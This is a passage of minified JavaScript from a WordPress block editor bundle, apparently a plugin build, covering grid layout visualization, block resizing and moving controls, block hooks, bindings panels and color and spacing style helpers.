type"),__nextHasNoMarginBottom:!0,hideLabelFromVision:!0,isAdaptiveWidth:!0,value:e,onChange:t,children:Fu.map((({name:e,label:t})=>(0,Nt.jsx)(ne.__experimentalToggleGroupControlOption,{value:e,label:t},e)))})}function vN({block:e,props:t,blockGapSupport:n,layoutClasses:o}){var i;const{name:r,attributes:l}=t,s=(0,p.useInstanceId)(e),{layout:a}=l,{default:u}=(0,c.getBlockSupport)(r,pN)||{},d=null!=a&&a.inherit||null!=a&&a.contentSize||null!=a&&a.wideSize?{...a,type:"constrained"}:a||u||{},h=`wp-container-${We(r)}-is-layout-`,g=`.${h}${s}`,f=null!==n,m=Vu((null==d?void 0:d.type)||"default"),v=null==m||null===(i=m.getLayoutStyle)||void 0===i?void 0:i.call(m,{blockName:r,selector:g,layout:d,style:null==l?void 0:l.style,hasBlockGapSupport:f}),b=ms({[`${h}${s}`]:!!v},o);return zM({css:v}),(0,Nt.jsx)(e,{...t,__unstableLayoutClassNames:b})}const bN=(0,p.createHigherOrderComponent)((e=>t=>{const{clientId:n,name:o,attributes:i}=t,r=hN(o),l=gN(i,o),s=(0,d.useSelect)((e=>{if(!r)return;const{getSettings:t,getBlockSettings:o}=ge(e(hs)),{disableLayoutStyles:i}=t();if(i)return;const[l]=o(n,"spacing.blockGap");return{blockGapSupport:l}}),[r,n]);return s?(0,Nt.jsx)(vN,{block:e,props:t,layoutClasses:l,...s}):(0,Nt.jsx)(e,{...t,__unstableLayoutClassNames:r?l:void 0})}),"withLayoutStyles");function kN(e,t){return Array.from({length:t},((t,n)=>e+n))}(0,h.addFilter)("blocks.registerBlockType","core/layout/addAttribute",(function(e){var t,n;return"type"in(null!==(t=null===(n=e.attributes)||void 0===n?void 0:n.layout)&&void 0!==t?t:{})||hN(e)&&(e.attributes={...e.attributes,layout:{type:"object"}}),e})),(0,h.addFilter)("editor.BlockListBlock","core/editor/layout/with-layout-styles",bN);class _N{constructor({columnStart:e,rowStart:t,columnEnd:n,rowEnd:o,columnSpan:i,rowSpan:r}={}){this.columnStart=null!=e?e:1,this.rowStart=null!=t?t:1,this.columnEnd=void 0!==i?this.columnStart+i-1:null!=n?n:this.columnStart,this.rowEnd=void 0!==r?this.rowStart+r-1:null!=o?o:this.rowStart}get columnSpan(){return this.columnEnd-this.columnStart+1}get rowSpan(){return this.rowEnd-this.rowStart+1}contains(e,t){return e>=this.columnStart&&e<=this.columnEnd&&t>=this.rowStart&&t<=this.rowEnd}containsRect(e){return this.contains(e.columnStart,e.rowStart)&&this.contains(e.columnEnd,e.rowEnd)}intersectsRect(e){return this.columnStart<=e.columnEnd&&this.columnEnd>=e.columnStart&&this.rowStart<=e.rowEnd&&this.rowEnd>=e.rowStart}}function yN(e,t){return e.ownerDocument.defaultView.getComputedStyle(e).getPropertyValue(t)}function xN(e,t){const n=[];for(const o of e.split(" ")){const e=n[n.length-1],i=e?e.end+t:0,r=i+parseFloat(o);n.push({start:i,end:r})}return n}function SN(e,t,n="start"){return e.reduce(((o,i,r)=>Math.abs(i[n]-t)<Math.abs(e[o][n]-t)?r:o),0)}function wN(e){const t=yN(e,"grid-template-columns"),n=yN(e,"grid-template-rows"),o=yN(e,"border-top-width"),i=yN(e,"border-right-width"),r=yN(e,"border-bottom-width"),l=yN(e,"border-left-width"),s=yN(e,"padding-top"),a=yN(e,"padding-right"),c=yN(e,"padding-bottom"),u=yN(e,"padding-left"),d=t.split(" ").length,p=n.split(" ").length;return{numColumns:d,numRows:p,numItems:d*p,currentColor:yN(e,"color"),style:{gridTemplateColumns:t,gridTemplateRows:n,gap:yN(e,"gap"),inset:`\n\t\t\t\tcalc(${s} + ${o})\n\t\t\t\tcalc(${a} + ${i})\n\t\t\t\tcalc(${c} + ${r})\n\t\t\t\tcalc(${u} + ${l})\n\t\t\t`}}}function CN({clientId:e,contentRef:t,parentLayout:n}){const o=(0,d.useSelect)((e=>e(hs).getSettings().isDistractionFree),[]),i=bd(e);if(o||!i)return null;const r=(null==n?void 0:n.isManualPlacement)&&window.__experimentalEnableGridInteractivity;return(0,Nt.jsx)(BN,{gridClientId:e,gridElement:i,isManualGrid:r,ref:t})}const BN=(0,u.forwardRef)((({gridClientId:e,gridElement:t,isManualGrid:n},o)=>{const[i,r]=(0,u.useState)((()=>wN(t))),[l,s]=(0,u.useState)(!1);return(0,u.useEffect)((()=>{const e=()=>r(wN(t)),n=new window.ResizeObserver(e);n.observe(t,{box:"border-box"});const o=new window.ResizeObserver(e);return o.observe(t),()=>{n.disconnect(),o.disconnect()}}),[t]),(0,u.useEffect)((()=>{function e(){s(!0)}function t(){s(!1)}return document.addEventListener("drag",e),document.addEventListener("dragend",t),()=>{document.removeEventListener("drag",e),document.removeEventListener("dragend",t)}}),[]),(0,Nt.jsx)(sk,{className:ms("block-editor-grid-visualizer",{"is-dropping-allowed":l}),clientId:e,__unstablePopoverSlot:"__unstable-block-tools-after",children:(0,Nt.jsx)("div",{ref:o,className:"block-editor-grid-visualizer__grid",style:i.style,children:n?(0,Nt.jsx)(IN,{gridClientId:e,gridInfo:i}):Array.from({length:i.numItems},((e,t)=>(0,Nt.jsx)(jN,{color:i.currentColor},t)))})})}));function IN({gridClientId:e,gridInfo:t}){const[n,o]=(0,u.useState)(null),i=(0,d.useSelect)((t=>{const{getBlockOrder:n,getBlockStyles:o}=ge(t(hs));return o(n(e))}),[e]),r=(0,u.useMemo)((()=>{const e=[];for(const n of Object.values(i)){var t;const{columnStart:o,rowStart:i,columnSpan:r=1,rowSpan:l=1}=null!==(t=null==n?void 0:n.layout)&&void 0!==t?t:{};o&&i&&e.push(new _N({columnStart:o,rowStart:i,columnSpan:r,rowSpan:l}))}return e}),[i]);return kN(1,t.numRows).map((i=>kN(1,t.numColumns).map((l=>{var s;const a=r.some((e=>e.contains(l,i))),c=null!==(s=null==n?void 0:n.contains(l,i))&&void 0!==s&&s;return(0,Nt.jsx)(jN,{color:t.currentColor,className:c&&"is-highlighted",children:a?(0,Nt.jsx)(TN,{column:l,row:i,gridClientId:e,gridInfo:t,setHighlightedRect:o}):(0,Nt.jsx)(PN,{column:l,row:i,gridClientId:e,gridInfo:t,setHighlightedRect:o})},`${i}-${l}`)}))))}function jN({color:e,children:t,className:n}){return(0,Nt.jsx)("div",{className:ms("block-editor-grid-visualizer__cell",n),style:{boxShadow:`inset 0 0 0 1px color-mix(in srgb, ${e} 20%, #0000)`,color:e},children:t})}function EN(e,t,n,o,i){const{getBlockAttributes:r,getBlockRootClientId:l,canInsertBlockType:s,getBlockName:a}=(0,d.useSelect)(hs),{updateBlockAttributes:c,moveBlocksToPosition:u,__unstableMarkNextChangeAsNotPersistent:h}=(0,d.useDispatch)(hs),g=YE(n,o.numColumns);return function({validateDrag:e,onDragEnter:t,onDragLeave:n,onDrop:o}){const{getDraggedBlockClientIds:i}=(0,d.useSelect)(hs);return(0,p.__experimentalUseDropZone)({onDragEnter(){const[n]=i();n&&e(n)&&t(n)},onDragLeave(){n()},onDrop(){const[t]=i();t&&e(t)&&o(t)}})}({validateDrag(i){var l,c,u,d;const p=a(i);if(!s(p,n))return!1;const h=r(i),g=new _N({columnStart:e,rowStart:t,columnSpan:null===(l=h.style)||void 0===l||null===(c=l.layout)||void 0===c?void 0:c.columnSpan,rowSpan:null===(u=h.style)||void 0===u||null===(d=u.layout)||void 0===d?void 0:d.rowSpan});return new _N({columnSpan:o.numColumns,rowSpan:o.numRows}).containsRect(g)},onDragEnter(n){var o,l,s,a;const c=r(n);i(new _N({columnStart:e,rowStart:t,columnSpan:null===(o=c.style)||void 0===o||null===(l=o.layout)||void 0===l?void 0:l.columnSpan,rowSpan:null===(s=c.style)||void 0===s||null===(a=s.layout)||void 0===a?void 0:a.rowSpan}))},onDragLeave(){i((n=>(null==n?void 0:n.columnStart)===e&&(null==n?void 0:n.rowStart)===t?null:n))},onDrop(o){var s;i(null);const a=r(o);c(o,{style:{...a.style,layout:{...null===(s=a.style)||void 0===s?void 0:s.layout,columnStart:e,rowStart:t}}}),h(),u([o],l(o),n,g(e,t))}})}function TN({column:e,row:t,gridClientId:n,gridInfo:o,setHighlightedRect:i}){return(0,Nt.jsx)("div",{className:"block-editor-grid-visualizer__drop-zone",ref:EN(e,t,n,o,i)})}function PN({column:e,row:t,gridClientId:n,gridInfo:o,setHighlightedRect:i}){const{updateBlockAttributes:r,moveBlocksToPosition:l,__unstableMarkNextChangeAsNotPersistent:s}=(0,d.useDispatch)(hs),a=YE(n,o.numColumns);return(0,Nt.jsx)(og,{rootClientId:n,className:"block-editor-grid-visualizer__appender",ref:EN(e,t,n,o,i),style:{color:o.currentColor},onSelect:o=>{o&&(r(o.clientId,{style:{layout:{columnStart:e,rowStart:t}}}),s(),l([o.clientId],n,n,a(e,t)))}})}function MN({clientId:e,bounds:t,onChange:n,parentLayout:o}){const i=bd(e),r=null==i?void 0:i.parentElement,{isManualPlacement:l}=o;return i&&r?(0,Nt.jsx)(RN,{clientId:e,bounds:t,blockElement:i,rootBlockElement:r,onChange:n,isManualGrid:l&&window.__experimentalEnableGridInteractivity}):null}function RN({clientId:e,bounds:t,blockElement:n,rootBlockElement:o,onChange:i,isManualGrid:r}){const[l,s]=(0,u.useState)(null),[a,c]=(0,u.useState)({top:!1,bottom:!1,left:!1,right:!1});(0,u.useEffect)((()=>{const e=new window.ResizeObserver((()=>{const e=n.getBoundingClientRect(),t=o.getBoundingClientRect();c({top:e.top>t.top,bottom:e.bottom<t.bottom,left:e.left>t.left,right:e.right<t.right})}));return e.observe(n),()=>e.disconnect()}),[n,o]);const d={right:"left",left:"right"},p={top:"flex-end",bottom:"flex-start"},h={display:"flex",justifyContent:"center",alignItems:"center",...d[l]&&{justifyContent:d[l]},...p[l]&&{alignItems:p[l]}};return(0,Nt.jsx)(sk,{className:"block-editor-grid-item-resizer",clientId:e,__unstablePopoverSlot:"__unstable-block-tools-after",additionalStyles:h,children:(0,Nt.jsx)(ne.ResizableBox,{className:"block-editor-grid-item-resizer__box",size:{width:"100%",height:"100%"},enable:{bottom:a.bottom,bottomLeft:!1,bottomRight:!1,left:a.left,right:a.right,top:a.top,topLeft:!1,topRight:!1},bounds:t,boundsByDirection:!0,onPointerDown:({target:e,pointerId:t})=>{e.setPointerCapture(t)},onResizeStart:(e,t)=>{s(t)},onResizeStop:(e,t,l)=>{const s=parseFloat(yN(o,"column-gap")),a=parseFloat(yN(o,"row-gap")),c=xN(yN(o,"grid-template-columns"),s),u=xN(yN(o,"grid-template-rows"),a),d=new window.DOMRect(n.offsetLeft+l.offsetLeft,n.offsetTop+l.offsetTop,l.offsetWidth,l.offsetHeight),p=SN(c,d.left)+1,h=SN(u,d.top)+1,g=SN(c,d.right,"end")+1,f=SN(u,d.bottom,"end")+1;i({columnSpan:g-p+1,rowSpan:f-h+1,columnStart:r?p:void 0,rowStart:r?h:void 0})}})})}function NN({layout:e,parentLayout:t,onChange:n,gridClientId:o,blockClientId:i}){var r,l,s,a;const{moveBlocksToPosition:c,__unstableMarkNextChangeAsNotPersistent:u}=(0,d.useDispatch)(hs),p=null!==(r=null==e?void 0:e.columnStart)&&void 0!==r?r:1,h=null!==(l=null==e?void 0:e.rowStart)&&void 0!==l?l:1,g=null!==(s=null==e?void 0:e.columnSpan)&&void 0!==s?s:1,f=null!==(a=null==e?void 0:e.rowSpan)&&void 0!==a?a:1,m=p+g-1,v=h+f-1,b=null==t?void 0:t.columnCount,k=null==t?void 0:t.rowCount,_=YE(o,b);return(0,Nt.jsx)(H_,{group:"parent",children:(0,Nt.jsxs)(ne.ToolbarGroup,{className:"block-editor-grid-item-mover__move-button-container",children:[(0,Nt.jsx)("div",{className:"block-editor-grid-item-mover__move-horizontal-button-container is-left",children:(0,Nt.jsx)(AN,{icon:(0,Je.isRTL)()?Xk:Qk,label:(0,Je.__)("Move left"),description:(0,Je.__)("Move left"),isDisabled:p<=1,onClick:()=>{n({columnStart:p-1}),u(),c([i],o,o,_(p-1,h))}})}),(0,Nt.jsxs)("div",{className:"block-editor-grid-item-mover__move-vertical-button-container",children:[(0,Nt.jsx)(AN,{className:"is-up-button",icon:Jk,label:(0,Je.__)("Move up"),description:(0,Je.__)("Move up"),isDisabled:h<=1,onClick:()=>{n({rowStart:h-1}),u(),c([i],o,o,_(p,h-1))}}),(0,Nt.jsx)(AN,{className:"is-down-button",icon:e_,label:(0,Je.__)("Move down"),description:(0,Je.__)("Move down"),isDisabled:k&&v>=k,onClick:()=>{n({rowStart:h+1}),u(),c([i],o,o,_(p,h+1))}})]}),(0,Nt.jsx)("div",{className:"block-editor-grid-item-mover__move-horizontal-button-container is-right",children:(0,Nt.jsx)(AN,{icon:(0,Je.isRTL)()?Qk:Xk,label:(0,Je.__)("Move right"),description:(0,Je.__)("Move right"),isDisabled:b&&m>=b,onClick:()=>{n({columnStart:p+1}),u(),c([i],o,o,_(p+1,h))}})})]})})}function AN({className:e,icon:t,label:n,isDisabled:o,onClick:i,description:r}){const l=`block-editor-grid-item-mover-button__description-${(0,p.useInstanceId)(AN)}`;return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.ToolbarButton,{className:ms("block-editor-grid-item-mover-button",e),icon:t,label:n,"aria-describedby":l,onClick:o?null:i,disabled:o,accessibleWhenDisabled:!0}),(0,Nt.jsx)(ne.VisuallyHidden,{id:l,children:r})]})}function LN(e,t,n,o,i=1,r=1){for(let l=r;;l++)for(let s=l===r?i:1;s<=t;s++){const t=new _N({columnStart:s,rowStart:l,columnSpan:n,rowSpan:o});if(!e.some((e=>e.intersectsRect(t))))return[s,l]}}const DN={},ON={useBlockProps:function({style:e}){var t;const n=(0,d.useSelect)((e=>!e(hs).getSettings().disableLayoutStyles)),o=null!==(t=null==e?void 0:e.layout)&&void 0!==t?t:{},{selfStretch:i,flexSize:r,columnStart:l,rowStart:s,columnSpan:a,rowSpan:c}=o,u=Uu()||{},{columnCount:h,minimumColumnWidth:g}=u,f=(0,p.useInstanceId)(DN),m=`.wp-container-content-${f}`;let v="";if(n&&("fixed"===i&&r?v=`${m} {\n\t\t\t\tflex-basis: ${r};\n\t\t\t\tbox-sizing: border-box;\n\t\t\t}`:"fill"===i?v=`${m} {\n\t\t\t\tflex-grow: 1;\n\t\t\t}`:l&&a?v=`${m} {\n\t\t\t\tgrid-column: ${l} / span ${a};\n\t\t\t}`:l?v=`${m} {\n\t\t\t\tgrid-column: ${l};\n\t\t\t}`:a&&(v=`${m} {\n\t\t\t\tgrid-column: span ${a};\n\t\t\t}`),s&&c?v+=`${m} {\n\t\t\t\tgrid-row: ${s} / span ${c};\n\t\t\t}`:s?v+=`${m} {\n\t\t\t\tgrid-row: ${s};\n\t\t\t}`:c&&(v+=`${m} {\n\t\t\t\tgrid-row: span ${c};\n\t\t\t}`),(a||l)&&(g||!h))){let e=parseFloat(g);isNaN(e)&&(e=12);let t=null==g?void 0:g.replace(e,"");["px","rem","em"].includes(t)||(t="rem");let n=2;n=a&&l?a+l-1:a||l;const o="px"===t?24:1.5,i=n*e+(n-1)*o,r=2*e+o-1,s=a&&a>1?"1/-1":"auto";v+=`@container (max-width: ${Math.max(i,r)}${t}) {\n\t\t\t\t${m} {\n\t\t\t\t\tgrid-column: ${s};\n\t\t\t\t\tgrid-row: auto;\n\t\t\t\t}\n\t\t\t}`}if(zM({css:v}),v)return{className:`wp-container-content-${f}`}},edit:function({clientId:e,style:t,setAttributes:n}){const o=Uu()||{},{type:i="default",allowSizingOnChildren:r=!1,isManualPlacement:l}=o,s=(0,d.useSelect)((t=>t(hs).getBlockRootClientId(e)),[e]),[a,c]=(0,u.useState)();if("grid"!==i)return null;function p(e){n({style:{...t,layout:{...null==t?void 0:t.layout,...e}}})}return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(CN,{clientId:s,contentRef:c,parentLayout:o}),r&&(0,Nt.jsx)(MN,{clientId:e,bounds:a,onChange:p,parentLayout:o}),l&&window.__experimentalEnableGridInteractivity&&(0,Nt.jsx)(NN,{layout:null==t?void 0:t.layout,parentLayout:o,onChange:p,gridClientId:s,blockClientId:e})]})},attributeKeys:["style"],hasSupport:()=>!0},zN={edit:function({clientId:e}){const{templateLock:t,isLockedByParent:n,isEditingAsBlocks:o}=(0,d.useSelect)((t=>{const{getContentLockingParent:n,getTemplateLock:o,getTemporarilyEditingAsBlocks:i}=ge(t(hs));return{templateLock:o(e),isLockedByParent:!!n(e),isEditingAsBlocks:i()===e}}),[e]),{stopEditingAsBlocks:i}=ge((0,d.useDispatch)(hs)),r=!n&&"contentOnly"===t,l=(0,u.useCallback)((()=>{i(e)}),[e,i]);return r||o?o&&!r&&(0,Nt.jsx)(H_,{group:"other",children:(0,Nt.jsx)(ne.ToolbarButton,{onClick:l,children:(0,Je.__)("Done")})}):null},hasSupport:()=>!0},FN="metadata";(0,h.addFilter)("blocks.registerBlockType","core/metadata/addMetaAttribute",(function(e){var t,n;return null!=e&&null!==(t=e.attributes)&&void 0!==t&&null!==(n=t[FN])&&void 0!==n&&n.type||(e.attributes={...e.attributes,[FN]:{type:"object"}}),e}));const VN={},HN={edit:function({name:e,clientId:t,metadata:{ignoredHookedBlocks:n=[]}={}}){const o=(0,d.useSelect)((e=>e(c.store).getBlockTypes()),[]),i=(0,u.useMemo)((()=>null==o?void 0:o.filter((({name:t,blockHooks:o})=>o&&e in o||n.includes(t)))),[o,e,n]),r=(0,d.useSelect)((n=>{const{getBlocks:o,getBlockRootClientId:r,getGlobalBlockCount:l}=n(hs),s=r(t),a=i.reduce(((n,i)=>{var r,a;if(0===l(i.name))return n;let c;switch(null==i||null===(r=i.blockHooks)||void 0===r?void 0:r[e]){case"before":case"after":c=o(s);break;case"first_child":case"last_child":c=o(t);break;case void 0:c=[...o(s),...o(t)]}const u=null===(a=c)||void 0===a?void 0:a.find((e=>e.name===i.name));return u?{...n,[i.name]:u.clientId}:n}),{});return Object.values(a).length>0?a:VN}),[i,e,t]),{getBlockIndex:l,getBlockCount:s,getBlockRootClientId:a}=(0,d.useSelect)(hs),{insertBlock:p,removeBlock:h}=(0,d.useDispatch)(hs);if(!i.length)return null;const g=i.reduce(((e,t)=>{const[n]=t.name.split("/");return e[n]||(e[n]=[]),e[n].push(t),e}),{});return(0,Nt.jsx)(Tk,{children:(0,Nt.jsxs)(ne.PanelBody,{className:"block-editor-hooks__block-hooks",title:(0,Je.__)("Plugins"),initialOpen:!0,children:[(0,Nt.jsx)("p",{className:"block-editor-hooks__block-hooks-helptext",children:(0,Je.__)("Manage the inclusion of blocks added automatically by plugins.")}),Object.keys(g).map((n=>(0,Nt.jsxs)(u.Fragment,{children:[(0,Nt.jsx)("h3",{children:n}),g[n].map((n=>{const o=n.name in r;return(0,Nt.jsx)(ne.ToggleControl,{__nextHasNoMarginBottom:!0,checked:o,label:n.title,onChange:()=>{if(o)h(r[n.name],!1);else{const o=n.blockHooks[e];((e,n)=>{const o=l(t),i=s(t),r=a(t);switch(n){case"before":case"after":p(e,"after"===n?o+1:o,r,!1);break;case"first_child":case"last_child":p(e,"first_child"===n?0:i,t,!1);break;case void 0:p(e,o+1,r,!1)}})((0,c.createBlock)(n.name),o)}}},n.title)}))]},n)))]})})},attributeKeys:["metadata"],hasSupport:()=>!0},{Menu:GN,DropdownMenuV2:$N}=ge(ne.privateApis),UN=GN||$N,WN={};function KN({fieldsList:e,attribute:t,binding:n}){var o;const{clientId:i}=S(),r=(null===c.getBlockBindingsSources||void 0===c.getBlockBindingsSources?void 0:(0,c.getBlockBindingsSources)())||{},{updateBlockBindings:l}=Ds(),s=null==n||null===(o=n.args)||void 0===o?void 0:o.key,a=(0,d.useSelect)((e=>{var n,o;const{name:r}=e(hs).getBlock(i),l=null===(n=(0,c.getBlockType)(r).attributes)||void 0===n||null===(o=n[t])||void 0===o?void 0:o.type;return"rich-text"===l?"string":l}),[i,t]);return(0,Nt.jsx)(Nt.Fragment,{children:Object.entries(e).map((([n,o],i)=>(0,Nt.jsxs)(u.Fragment,{children:[(0,Nt.jsxs)(UN.Group,{children:[Object.keys(e).length>1&&(0,Nt.jsx)(UN.GroupLabel,{children:r[n].label}),Object.entries(o).filter((([,e])=>(null==e?void 0:e.type)===a)).map((([e,o])=>(0,Nt.jsxs)(UN.RadioItem,{onChange:()=>l({[t]:{source:n,args:{key:e}}}),name:t+"-binding",value:e,checked:e===s,children:[(0,Nt.jsx)(UN.ItemLabel,{children:null==o?void 0:o.label}),(0,Nt.jsx)(UN.ItemHelpText,{children:null==o?void 0:o.value})]},e)))]}),i!==Object.keys(e).length-1&&(0,Nt.jsx)(UN.Separator,{})]},n)))})}function ZN({attribute:e,binding:t,fieldsList:n}){var o,i;const{source:r,args:l}=t||{},s=null===c.getBlockBindingsSource||void 0===c.getBlockBindingsSource?void 0:(0,c.getBlockBindingsSource)(r),a=!s;return(0,Nt.jsxs)(ne.__experimentalVStack,{className:"block-editor-bindings__item",spacing:0,children:[(0,Nt.jsx)(ne.__experimentalText,{truncate:!0,children:e}),!!t&&(0,Nt.jsx)(ne.__experimentalText,{truncate:!0,variant:!a&&"muted",isDestructive:a,children:a?(0,Je.__)("Invalid source","kubio"):(null==n||null===(o=n[r])||void 0===o||null===(i=o[null==l?void 0:l.key])||void 0===i?void 0:i.label)||(null==s?void 0:s.label)||r})]})}function qN({bindings:e,fieldsList:t}){return(0,Nt.jsx)(Nt.Fragment,{children:Object.entries(e).map((([e,n])=>(0,Nt.jsx)(ne.__experimentalItem,{children:(0,Nt.jsx)(ZN,{attribute:e,binding:n,fieldsList:t})},e)))})}function YN({attributes:e,bindings:t,fieldsList:n}){const{updateBlockBindings:o}=Ds(),i=(0,p.useViewportMatch)("medium","<");return(0,Nt.jsx)(Nt.Fragment,{children:e.map((e=>{const r=t[e];return(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{hasValue:()=>!!r,label:e,onDeselect:()=>{o({[e]:void 0})},children:(0,Nt.jsxs)(UN,{placement:i?"bottom-start":"left-start",children:[(0,Nt.jsx)(UN.TriggerButton,{render:(0,Nt.jsx)(ne.__experimentalItem,{}),children:(0,Nt.jsx)(ZN,{attribute:e,binding:r,fieldsList:n})}),(0,Nt.jsx)(UN.Popover,{gutter:i?8:36,children:(0,Nt.jsx)(KN,{fieldsList:n,attribute:e,binding:r})})]})},e)}))})}const XN=(0,oe.wpVersionCompare)("6.8",">="),QN={edit:({name:e,metadata:t})=>{const n=(0,u.useContext)(ks),{removeAllBlockBindings:o}=Ds(),i=function(e){return Ps[e]}(e),r={},{fieldsList:l,canUpdateBlockBindings:s}=(0,d.useSelect)((e=>{if(!i||0===i.length)return WN;const t=(null===c.getBlockBindingsSources||void 0===c.getBlockBindingsSources?void 0:(0,c.getBlockBindingsSources)())||{};return Object.entries(t).forEach((([t,{getFieldsList:o,usesContext:i}])=>{if(o){const l={};if(null!=i&&i.length)for(const e of i)l[e]=n[e];const s=o({select:e,context:l});Object.keys(s||{}).length&&(r[t]={...s})}})),{fieldsList:Object.values(r).length>0?r:WN,canUpdateBlockBindings:e(hs).getSettings().canUpdateBlockBindings}}),[n,i]);if(!i||0===i.length)return null;const{bindings:a}=t||{},p={...a};Object.keys(p).forEach((t=>{Ns(e,t)&&"core/pattern-overrides"!==p[t].source||delete p[t]}));const h=!s||!Object.keys(l).length;return XN?h&&0===Object.keys(p).length?null:(0,Nt.jsx)(Tk,{group:"bindings",children:(0,Nt.jsxs)(ne.__experimentalToolsPanel,{label:(0,Je.__)("Attributes","kubio"),resetAll:()=>{o()},className:"block-editor-bindings__panel",children:[(0,Nt.jsx)(ne.__experimentalItemGroup,{isBordered:!0,isSeparated:!0,children:h?(0,Nt.jsx)(qN,{bindings:p,fieldsList:l}):(0,Nt.jsx)(YN,{attributes:i,bindings:p,fieldsList:l})}),(0,Nt.jsx)(ne.__experimentalText,{as:"div",variant:"muted",children:(0,Nt.jsx)("p",{children:(0,Je.__)("Attributes connected to custom fields or other dynamic data.","kubio")})})]})}):(0,Nt.jsx)(Nt.Fragment,{})},attributeKeys:["metadata"],hasSupport:()=>!0};function JN(e){!function({clientId:e}){const{gridLayout:t,blockOrder:n,selectedBlockLayout:o}=(0,d.useSelect)((t=>{var n,o;const{getBlockAttributes:i,getBlockOrder:r}=t(hs),l=t(hs).getSelectedBlock();return{gridLayout:null!==(n=i(e).layout)&&void 0!==n?n:{},blockOrder:r(e),selectedBlockLayout:null==l||null===(o=l.attributes.style)||void 0===o?void 0:o.layout}}),[e]),{getBlockAttributes:i,getBlockRootClientId:r}=(0,d.useSelect)(hs),{updateBlockAttributes:l,__unstableMarkNextChangeAsNotPersistent:s}=(0,d.useDispatch)(hs),a=(0,u.useMemo)((()=>o?new _N(o):null),[o]),c=(0,p.usePrevious)(a),h=(0,p.usePrevious)(t.isManualPlacement),g=(0,p.usePrevious)(n);(0,u.useEffect)((()=>{const o={};if(t.isManualPlacement){const l=[];for(const e of n){var a,u;const{columnStart:t,rowStart:n,columnSpan:o=1,rowSpan:r=1}=null!==(a=null===(u=i(e).style)||void 0===u?void 0:u.layout)&&void 0!==a?a:{};t&&n&&l.push(new _N({columnStart:t,rowStart:n,columnSpan:o,rowSpan:r}))}for(const e of n){var d,p,f;const n=i(e),{columnStart:r,rowStart:s,columnSpan:a=1,rowSpan:u=1}=null!==(d=null===(p=n.style)||void 0===p?void 0:p.layout)&&void 0!==d?d:{};if(r&&s)continue;const[h,g]=LN(l,t.columnCount,a,u,null==c?void 0:c.columnEnd,null==c?void 0:c.rowEnd);l.push(new _N({columnStart:h,rowStart:g,columnSpan:a,rowSpan:u})),o[e]={style:{...n.style,layout:{...null===(f=n.style)||void 0===f?void 0:f.layout,columnStart:h,rowStart:g}}}}const s=Math.max(...l.map((e=>e.rowEnd)));(!t.rowCount||t.rowCount<s)&&(o[e]={layout:{...t,rowCount:s}});for(const e of null!=g?g:[])if(!n.includes(e)){var m,v,b;const t=r(e);if(null===t)continue;const n=i(t);if("grid"===(null==n||null===(m=n.layout)||void 0===m?void 0:m.type))continue;const l=i(e),{columnStart:s,rowStart:a,columnSpan:c,rowSpan:u,...d}=null!==(v=null===(b=l.style)||void 0===b?void 0:b.layout)&&void 0!==v?v:{};if(s||a||c||u){const t=0===Object.keys(d).length;o[e]=Ht(l,["style","layout"],t?void 0:d)}}}else{if(!0===h)for(const e of n){var k,_;const t=i(e),{columnStart:n,rowStart:r,...l}=null!==(k=null===(_=t.style)||void 0===_?void 0:_.layout)&&void 0!==k?k:{};if(n||r){const n=0===Object.keys(l).length;o[e]=Ht(t,["style","layout"],n?void 0:l)}}t.rowCount&&(o[e]={layout:{...t,rowCount:void 0}})}Object.keys(o).length&&(s(),l(Object.keys(o),o,!0))}),[e,t,g,n,c,h,s,i,r,l])}(e)}function eA({clientId:e,layout:t}){const{isSelected:n,isDragging:o}=(0,d.useSelect)((t=>{const{isBlockSelected:n,isDraggingBlocks:o}=t(hs);return{isSelected:n(e),isDragging:o()}}));return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(JN,{clientId:e}),(n||o)&&(0,Nt.jsx)(CN,{clientId:e,parentLayout:t})]})}(0,h.addFilter)("blocks.registerBlockType","core/metadata/addLabelCallback",(function(e){return e.__experimentalLabel||(0,c.hasBlockSupport)(e,"renaming",!0)&&(e.__experimentalLabel=(e,{context:t})=>{const{metadata:n}=e;if("list-view"===t&&null!=n&&n.name)return n.name}),e}));const tA=(0,p.createHigherOrderComponent)((e=>t=>{var n;return"grid"!==(null===(n=t.attributes.layout)||void 0===n?void 0:n.type)?(0,Nt.jsx)(e,{...t},"edit"):(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(eA,{clientId:t.clientId,layout:t.attributes.layout}),(0,Nt.jsx)(e,{...t},"edit")]})}),"addGridVisualizerToBlockEdit");function nA(e){var t;const n=(null===(t=e.style)||void 0===t?void 0:t.border)||{};return{className:MP(e)||void 0,style:WR({border:n})}}function oA(e){const{colors:t}=Pw(),n=nA(e),{borderColor:o}=e;if(o){const e=SP({colors:t,namedColor:o});n.style.borderColor=e.color}return n}function iA(e){var t;return{style:WR({shadow:(null===(t=e.style)||void 0===t?void 0:t.shadow)||""})}}function rA(e){var t,n,o,i,r,l;const{backgroundColor:s,textColor:a,gradient:c,style:u}=e,d=Fs("background-color",s),p=Fs("color",a),h=qs(c),g=h||(null==u||null===(t=u.color)||void 0===t?void 0:t.gradient);return{className:ms(p,h,{[d]:!g&&!!d,"has-text-color":a||(null==u||null===(n=u.color)||void 0===n?void 0:n.text),"has-background":s||(null==u||null===(o=u.color)||void 0===o?void 0:o.background)||c||(null==u||null===(i=u.color)||void 0===i?void 0:i.gradient),"has-link-color":null==u||null===(r=u.elements)||void 0===r||null===(l=r.link)||void 0===l?void 0:l.color})||void 0,style:WR({color:(null==u?void 0:u.color)||{}})}}function lA(e){const{backgroundColor:t,textColor:n,gradient:o}=e,[i,r,l,s,a,c]=Vs("color.palette.custom","color.palette.theme","color.palette.default","color.gradients.custom","color.gradients.theme","color.gradients.default"),d=(0,u.useMemo)((()=>[...i||[],...r||[],...l||[]]),[i,r,l]),p=(0,u.useMemo)((()=>[...s||[],...a||[],...c||[]]),[s,a,c]),h=rA(e);if(t){const e=Os(d,t);h.style.backgroundColor=e.color}if(o&&(h.style.background=Ys(p,o)),n){const e=Os(d,n);h.style.color=e.color}return h}function sA(e){const{style:t}=e;return{style:WR({spacing:(null==t?void 0:t.spacing)||{}})}}function aA(e,t){var n,o,i,r,l,s,a;let c=(null==e||null===(n=e.style)||void 0===n?void 0:n.typography)||{};c={...c,fontSize:mj({size:null==e||null===(o=e.style)||void 0===o||null===(i=o.typography)||void 0===i?void 0:i.fontSize},t)};const 